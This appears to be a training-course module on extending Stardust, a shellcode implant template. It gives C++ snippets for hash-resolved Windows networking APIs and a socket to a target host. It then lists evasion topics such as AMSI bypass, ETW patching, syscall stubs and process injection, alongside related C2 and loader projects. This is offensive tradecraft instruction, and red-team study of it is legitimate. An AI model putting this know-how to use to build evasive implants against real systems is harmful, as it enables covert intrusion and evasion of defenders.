Module 10: Full Chain & Extending Stardust

Putting it all together, and building on top of the template.

Complete Execution Chain

From source code to running implant, Stardust's lifecycle has four phases:

How to Extend Stardust

Stardust is designed as a template, not a finished product. Here's how to add new capabilities.

Adding New API Declarations

To call a new Windows API, you need two things in common.h:

C++// Step 1: Add a D_API declaration to your API struct
// D_API defines the function pointer type and its DJB2 hash
// Example: adding WSAStartup from ws2_32.dll

// In the ws2_32 API struct:
struct ws2_32_apis {
    D_API( void*, base );                    // Index 0: module base
    D_API( int, WSAStartup );               // Index 1: function pointer
    D_API( SOCKET, WSASocketW );            // Index 2: function pointer
    D_API( int, connect );                  // Index 3: function pointer
};

// Step 2: Add the RESOLVE_TYPE for the module hash
// This associates the struct with the DJB2 hash of "ws2_32.dll"
RESOLVE_TYPE( ws2_32_apis, H_MODULE_WS2_32 );

Using New APIs in start()

Once declared, resolve and call the APIs in the start() function:

C++// In start() - resolve all ws2_32 APIs in one call
ws2_32_apis ws2;
RESOLVE_IMPORT( ws2, H_MODULE_WS2_32 );

// Now call them like normal function pointers
WSADATA wsaData;
ws2.WSAStartup( MAKEWORD(2, 2), &wsaData );

SOCKET sock = ws2.WSASocketW(
    AF_INET, SOCK_STREAM, IPPROTO_TCP,
    NULL, 0, 0
);

// Use symbol<T> for any string data you need
auto target = G_SYM( target_host );  // position-independent string access

Adding a New Module (DLL)

To resolve APIs from a DLL that Stardust doesn't already use (e.g., ws2_32.dll for networking):

1. Add the module hash: Define H_MODULE_WS2_32 as the DJB2 hash of the string "ws2_32.dll" in your hash constants.
2. Create the API struct: Define a struct with D_API entries for each function you need (as shown above).
3. Add RESOLVE_TYPE: Associate the struct with the module hash.
4. Resolve in start(): Call RESOLVE_IMPORT with your struct and module hash.

AceLdr vs Stardust: Final Comparison

References & Further Study

Project Links

• Stardust Repository — The source code and build system for the Stardust implant template
• Stardust Blog Post — The author's walkthrough explaining design decisions and implementation details

Related Projects

• AceLdr — Cobalt Strike UDRL with FOLIAGE sleep mask (covered in the companion course)
• TitanLdr — Another reflective loader with similar evasion capabilities
• Havoc Framework — C2 framework that implements concepts similar to Stardust's shellcode approach
• ShellcodeTemplate — Alternative shellcode templates for comparison

Topics for Further Study

• Sleep evasion techniques — FOLIAGE, Ekko, Zilean patterns for encrypting shellcode during sleep
• Syscall stubs — Direct and indirect syscalls to bypass userland hooks (SysWhispers, HellsGate)
• ETW patching — Disabling Event Tracing for Windows to reduce telemetry
• AMSI bypass — Preventing the Antimalware Scan Interface from inspecting in-memory content
• Custom C2 protocols — Building communication channels with DNS, HTTP/S, or named pipes
• Process injection techniques — Beyond module stomping: process hollowing, thread hijacking, APC injection